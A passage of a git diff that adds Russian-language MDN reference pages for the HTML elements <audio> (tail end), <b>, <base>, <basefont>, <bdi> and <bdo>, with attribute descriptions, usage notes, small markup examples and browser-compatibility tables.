+ &lt;source src="foo.mp3" type="audio/mpeg"/&gt;
+&lt;/audio&gt;</pre>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Audio with spoken dialog should provide both captions and transcripts that accurately describe its content. Captions allow people who are experiencing hearing loss to understand an audio recording's content as the recording is being played, while transcripts allow people who need additional time to be able to review the recording's content at a pace and format that is comfortable for them.</p>
+
+<p>If automatic captioning services are used, it is important to review the generated content to ensure it accurately represents the source audio.</p>
+
+<p>In addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that communicate important information. This includes emotion and tone:</p>
+
+<pre>1
+00:00:00 --&gt; 00:00:45
+[Energetic techno music]
+
+2
+00:00:46 --&gt; 00:00:51
+Welcome to the Time Keeper's podcast! In this episode we're discussing which Swisswatch is a wrist switchwatch?
+
+16
+00:00:52 --&gt; 00:01:02
+[Laughing] Sorry! I mean, which wristwatch is a Swiss wristwatch?
+</pre>
+
+<ul>
+ <li><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Subtitles_captions">Субтитры и скрытые субтитры</a>.</li>
+ <li><a href="/ru/docs/Web/API/WebVTT_API">Формат Web Video Text Tracks (WebVTT)</a>.</li>
+ <li><a class="external" href="https://webaim.org/techniques/captions/">WebAIM: субтитры, стенограммы и описания аудио</a>.</li>
+ <li><a href="/ru/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.2_—_Providing_text_alternatives_for_time-based_media">Понимание WCAG, Руководство 1.2 объяснения</a>.</li>
+ <li><a class="external" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-av-only-alt.html">Понимание критерия успешного исхода 1.2.1 | W3C Понимание WCAG 2.0</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-captions.html">Понимание критерия успешного исхода 1.2.2 | W3C Понимание WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Техническая_сводка">Техническая сводка</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Встроенный_контент">встроенный контент</a>. Если элемент имеет атрибут <code>controls</code>, он так же принадлежит к категориям <a href="/ru/docs/Web/Guide/HTML/Content_categories#Интерактивный_контент">интерактивного</a> и <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явного</a> контента.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Если элемент имеет атрибут <code>src</code>: ноль или более элементов {{HTMLElement("track")}}, за которыми следует <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прозрачная_модель_контента">прозрачный контентет</a>, который не содержит элементов <code>&lt;audio&gt;</code> или {{HTMLElement("video")}}.<br>
+    Иначе: ноль или более элементов {{HTMLElement("source")}}, за которыми следует ноль или более элементов {{HTMLElement("track")}}, за которыми следует <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прозрачная_модель_контента">прозрачный контент</a>, который не содержит элементов <code>&lt;audio&gt;</code> или {{HTMLElement("video")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает встроенный контент в качестве содержимого.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые роли ARIA</th>
+   <td>{{ARIARole("application")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLAudioElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-audio-element', '&lt;audio&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-audio-element', '&lt;audio&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.audio")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTML/Поддерживаемые_медиа_форматы">Медиа форматы для HTML-элементов audio и video</a>.</li>
+ <li><a href="/ru/docs/Web/API/Web_Audio_API">Web Audio API</a>.</li>
+ <li>{{domxref("HTMLAudioElement")}}.</li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a>.</li>
+ <li>{{htmlelement("source")}}.</li>
+ <li>{{htmlelement("video")}}.</li>
+ <li><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Видео и аудио контент</a>.</li>
+ <li><a href="/en-US/Apps/Fundamentals/Audio_and_video_delivery/Cross-browser_audio_basics">Основы кросс-браузерного audio</a>.</li>
+</ul>
diff --git a/files/ru/web/html/element/b/index.html b/files/ru/web/html/element/b/index.html
new file mode 100644
index 0000000000..89cdf625ec
--- /dev/null
+++ b/files/ru/web/html/element/b/index.html
@@ -0,0 +1,110 @@
+---
+title: <b>
+slug: Web/HTML/Element/b
+translation_of: Web/HTML/Element/b
+---
+<p><strong>HTML элемент <code>&lt;b&gt;</code> </strong> является частью текста стилистически отличающейся от нормального текста, не носящий какого-либо специального значения или важности, и как правило выделен жирным шрифтом.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>Any</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}} Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the <a href="/en-US/docs/DOM/span"><code>HTMLSpanElement</code></a> interface for this element.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент содержит только <a href="/en-US/docs/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="Указания_по_применению">Указания по применению</h2>
+
+<ul>
+ <li>Используйте <code>&lt;b&gt;</code> в таких случаях, как ключевые слова в кратком содержании, имена продуктов в отзыве, или других частях текста, которые обычно выделяют жирным.</li>
+ <li>Не путать элемент <code>&lt;b&gt;</code> с {{HTMLElement("strong")}}, {{HTMLElement("em")}}, или {{HTMLElement("mark")}} элементами. Элемент {{HTMLElement("strong")}} представляет собой текст определённой <em>важности</em>, {{HTMLElement("em")}} делает некий акцент на тексте, и элемент {{HTMLElement("mark")}} представляет собой текст определённой <em>значимости</em>. Элемент <code>&lt;b&gt;</code> не содержит специальной семантической информации, используйте его только в том случае, если другие не подошли.</li>
+ <li>Также не помечайте заглавия и заголовки элементом <code>&lt;b&gt;</code>. Для этих целей используйте элементы с {{HTMLElement("h1")}} до {{HTMLElement("h6")}} . К тому же CSS может изменять стандартный вид этих элементов, в результате чего они <em>не всегда </em>будут выделены жирным текстом.</li>
+ <li>Хорошей практикой является использование атрибута <strong>class</strong> на элементе <code>&lt;b&gt;</code> для того, чтобы передать дополнительную семантическую информацию (например, <code>&lt;b class="lead"&gt;</code> для первого предложения в абзаце). Это упрощает разработку различных стилизаций веб-документа без надобности менять его HTML-код.</li>
+ <li>Исторически, элемент <code>&lt;b&gt;</code> был задуман для выделения текста жирным шрифтом. Информация о стилизации устарела, начиная с HTML4, значение элемента <code>&lt;b&gt;</code> было изменено.</li>
+ <li>Если нет семантической причины использовать элемент &lt;b&gt;, использование css свойства <a href="/en-US/docs/CSS/font-weight">font-weight</a> со значением bold будет более грамотным выбором для изменения толщины текста.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: css notranslate">.keywords {
+    color:red;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+    В этой статье описывается элемент для форматирования &lt;b class="keywords"&gt;текста&lt;/b&gt;.
+    Она объясняет его использование в документе &lt;b class="keywords"&gt;HTML&lt;/b&gt;.
+&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<p>Ключевые слова с тегом <code>&lt;b&gt;</code>, отображаемые со стилем, в<span style="">ыделены жирным шрифтом.</span></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы желаете содействовать данным, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.b")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы содержащие <a href="/en-US/docs/HTML/Text_level_semantics_conveying_elements">text-level semantics</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("abbr")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+ <li><a class="external" href="https://www.w3.org/International/questions/qa-b-and-i-tags">Using &lt;b&gt; and &lt;i&gt; elements (W3C)</a></li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/base/index.html b/files/ru/web/html/element/base/index.html
new file mode 100644
index 0000000000..3ae5989fe1
--- /dev/null
+++ b/files/ru/web/html/element/base/index.html
@@ -0,0 +1,152 @@
+---
+title: <base>
+slug: Web/HTML/Element/base
+tags:
+  - <base>
+  - HTML
+  - атрибуты <base>
+  - метаданные
+translation_of: Web/HTML/Element/base
+---
+<p id="Summary">{{HTMLRef}}</p>
+
+<p><strong>HTML элемент</strong> <strong><code>&lt;base&gt;</code> </strong>определяет основной адрес (URL), используемый для всех относительных адресов (URLs) в документе. Может быть только один <strong><code>&lt;base&gt;</code></strong> элемент в одном документе. <br>
+ Основной адрес (URL) документа можно запросить скриптом используя {{domxref('document.baseURI')}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories" title="HTML/Content_categories">Категории элемента</a></th>
+   <td>Метаданные (Metadata)</td>
+  </tr>
+  <tr>
+   <th>Отображение на странице</th>
+   <td>Не отображается, это {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th>Открывающий, закрывающий теги</th>
+   <td>Без закрывающего тега.</td>
+  </tr>
+  <tr>
+   <th>Содержится в</th>
+   <td>{{HTMLElement("head")}}, {{HTMLElement("body")}}.</td>
+  </tr>
+  <tr>
+   <th>Использование в ARIA roles</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th>Интерфейс DOM</th>
+   <td>{{domxref("HTMLBaseElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты_&lt;base>">Атрибуты <strong><code>&lt;base&gt;</code></strong></h2>
+
+<p><span style="line-height: 21px;">К элементу </span><strong><code>&lt;base&gt; </code></strong><code>можно применять</code><span style="line-height: 21px;"> </span><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">глобальные атрибуты.</a></p>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>Базовый адрес (URL) для указания полного пути (основной, главный адрес). Если указан данный атрибут, значит этот элемент должен находиться до других элементов с атрибутами URLs. Разрешены абсолютные (внешние) и относительные (внутренние) адреса (URLs).</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Значение атрибута определяет имя контекста, которое применяется для ссылок (<span class="tag">&lt;a&gt;</span>) и форм (<span class="tag">&lt;form&gt;</span>). Они нужны <em>для отображения контекста</em> (пример: вкладка, окно или встроенный фрейм). Следующие ключевые слова имеют специальные значения:
+ <ul>
+  <li><strong><code>_self</code></strong>: загружает результат в текущем окне или вкладке. <em>Если атрибут не указан, является значением по умолчанию.</em></li>
+  <li><code>_<strong>blank</strong></code>: загружает результат в новом окне или бланке.</li>
+  <li><strong><code>_parent</code></strong>: загружает данные в родительском окне. Если значение <strong>_ parent </strong>не указано, используется значение <strong><code>_self</code></strong>.</li>
+  <li><strong><code>_top</code></strong>: загружает данные в контексте верхнего уровня (то есть, отображает полученный контекст без обратного перехода, если не имеет родительского значения). Если нет родительских данных используется как <strong><code>_self</code></strong>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="note"><strong>Примечание:</strong> <code>если указано несколько элементов &lt;base&gt;</code> , будут использованы только первые <strong>href</strong> и <strong>target</strong>; все последующие значения проигнорируются.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html notranslate">&lt;base href="http://www.example.com/page.html"&gt;
+&lt;base target="_blank" href="http://www.example.com/page.html"&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Указано для <code>target</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.4', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Добавлен <code>target</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Браузер</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}} [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Браузер</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддердка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Поддержка относительных адресов (URIs <code>href)</code> была добавлена в Gecko 2.0 (Firefox 4.0)</p>
+
+<p>[2] До Internet Explorer 7, <code>нахождение </code><strong><code>&lt;base&gt; </code></strong><code>могло быть</code> в любом месте документа. Поддержка относительных адресов (URLs) была удалена в Internet Explorer 8.</p>
diff --git a/files/ru/web/html/element/basefont/index.html b/files/ru/web/html/element/basefont/index.html
new file mode 100644
index 0000000000..a6b396a7c2
--- /dev/null
+++ b/files/ru/web/html/element/basefont/index.html
@@ -0,0 +1,58 @@
+---
+title: <basefont>
+slug: Web/HTML/Element/basefont
+translation_of: Web/HTML/Element/basefont
+---
+<div>{{obsolete_header}}</div>
+
+<p><span class="seoSummary">The obsolete <strong>HTML Base Font element</strong> (<strong><code>&lt;basefont&gt;</code></strong>) sets a default font fa</span><span class="seoSummary">ce, size, and color for the other elements which are descended from its parent element.</span> With this set, the font's size can then be varied relative to the base size using the {{HTMLElement("font")}} element.</p>
+
+<p>You should not use this element; instead, you should use CSS properties such as {{cssxref("font")}}, {{cssxref("font-family")}}, {{cssxref("font-size")}}, and {{cssxref("color")}} to change the font configuration for an element and its contents.</p>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>Like all other HTML elements, this element supports the <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("color")}}</dt>
+ <dd>This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.</dd>
+ <dt>{{htmlattrdef("face")}}</dt>
+ <dd>This attribute contains a list of one or more font names. The document text in the default style is rendered in the first font face that the client's browser supports. If no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>This attribute specifies the font size as either a numeric or relative value. Numeric values range from 1 to 7 with 1 being the smallest and 3 the default.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p><strong>Do not use this element! </strong>Though once (imprecisely) normalized in HTML 3.2, it wasn't supported in all major browsers. Further, browsers, and even successive versions of browsers, never implemented it in the same way: practically, using it has always brought <em>indeterminate</em> results.</p>
+
+<p>The <code>&lt;basefont&gt;</code> element was deprecated in the standard at the same time as all elements related to styling only. Starting with HTML 4, HTML does not convey styling information anymore (outside the {{HTMLElement("style")}} element or the <strong>style</strong> attribute of each element). In HTML5, this element has been removed completely. For any new web development, styling should be written using <a href="/en-US/docs/CSS" title="CSS">CSS</a> only.</p>
+
+<p>The former behavior of the {{HTMLElement("font")}} element can be achieved, and even better controlled using the <a href="/en-US/docs/Web/CSS/CSS_Fonts">CSS Fonts</a> properties.</p>
+
+<h2 id="DOM_interface">DOM interface</h2>
+
+<p>This element implements the {{domxref("HTMLBaseFontElement")}} interface.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre>&lt;basefont color="#FF0000" face="Helvetica" size="+2" /&gt;
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.basefont")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>HTML 3.2 supports the basefont element but only with the size attribute.</li>
+ <li>The strict HTML and XHTML specifications do not support this element.</li>
+ <li>Despite being part of transitional standards, some standards-focused browsers like Mozilla and Opera do not support this element.</li>
+ <li>This element can be imitated with a CSS rule on the {{HTMLElement("body")}} element.</li>
+ <li>XHTML 1.0 requires a trailing slash for this element: <code>&lt;basefont /&gt;</code>.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/bdi/index.html b/files/ru/web/html/element/bdi/index.html
new file mode 100644
index 0000000000..daf089fa86
--- /dev/null
+++ b/files/ru/web/html/element/bdi/index.html
@@ -0,0 +1,139 @@
+---
+title: <bdi>
+slug: Web/HTML/Element/bdi
+tags:
+  - BDI
+  - HTML
+  - Веб
+  - Текстовая семантика
+  - Элемент
+translation_of: Web/HTML/Element/bdi
+---
+<h2 id="Описание">Описание</h2>
+
+<p><strong>HTML элемент <code>&lt;bdi&gt;</code></strong><em> </em>(<em>bidirectional isolation</em>, или изоляция двунаправленности [текста]) изолирует от окружающего текста текстовый фрагмент, направление в котором может отличаться от направления окружающего текста (но не обязательно отличается).</p>
+
+<p>Этот элемент полезен при встраивании текста с неизвестным направлением (например, из базы данных) внутрь текста с заданным направлением.</p>
+
+<p class="note">Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}<code>: isolate</code> к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передается только с помощью элемента <code>&lt;bdi&gt;</code>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображен корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">phrasing content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Flow_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Flow_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>Like all other HTML elements, this element has the <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>, with a slight semantic difference: the <strong>dir</strong> attribute is not inherited. If not set, its default value is the <code>auto</code> which let the browser decide the direction based on the element's content.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;p dir="ltr"&gt;This arabic word &lt;bdi&gt;ARABIC_PLACEHOLDER&lt;/bdi&gt; is automatically displayed right-to-left.&lt;/p&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p dir="ltr">This arabic word REDLOHECALP_CIBARA is automatically displayed right-to-left.</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-bdi-element', '&lt;bdi&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-bdi-element.html#the-bdi-element', '&lt;bdi&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>16</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 dir="ltr" id="See_also">See also</h2>
+
+<ul>
+ <li>Related HTML element: {{HTMLElement("bdo")}}</li>
+ <li>Related HTML properties: {{cssxref("direction")}}, {{cssxref("unicode-bidi")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/bdo/index.html b/files/ru/web/html/element/bdo/index.html
new file mode 100644
index 0000000000..dc7c1201e4
--- /dev/null
+++ b/files/ru/web/html/element/bdo/index.html
@@ -0,0 +1,110 @@
+---
+title: '<bdo>: The Bidirectional Text Override element'
+slug: Web/HTML/Element/bdo
+tags:
+  - направление текста
+translation_of: Web/HTML/Element/bdo
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент переопределения двунаправленного текста </strong> (<strong><code>&lt;bdo&gt;</code></strong>) переопределяет текущее направление текста так, что текст внутри отображается в другом направлении.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/bdo.html", "tabbed-standard")}}</div>
+
+
+
+<p>Текстовые символы рисуются от заданной точки в указанном направлении; индивидуальная ориентация символов не меняется (к примеру, символы не зеркалятся).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимый контент</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Закрывающий тег</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые родители</th>
+   <td>Все элементы, принимающие <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>,</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые ARIA-роли</th>
+   <td>Любый</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}} до Gecko 1.9.2 (Firefox 4) включительно, Firefox реализует интерфейс <code><a href="/en-US/docs/Web/API/HTMLSpanElement">HTMLSpanElement</a></code> для этого элемента.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент поддерживает <a href="/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("dir")}}</dt>
+ <dd>Направление, в котором должен отображаться текст внутри элемента. Возможные значения:
+ <ul>
+  <li><code>ltr</code>: Указывает, что текст должен идти слева направо.</li>
+  <li><code>rtl</code>: Указывает, что текст должен идти справа налево.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;!-- Переключение направления текста --&gt;
+&lt;p&gt;This text will go left to right.&lt;/p&gt;
+&lt;p&gt;&lt;bdo dir="rtl"&gt;This text will go right
+to left.&lt;/bdo&gt;&lt;/p&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Спецификация HTML 4 не указывала события для этого элемента; они были добавлены в XHTML.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
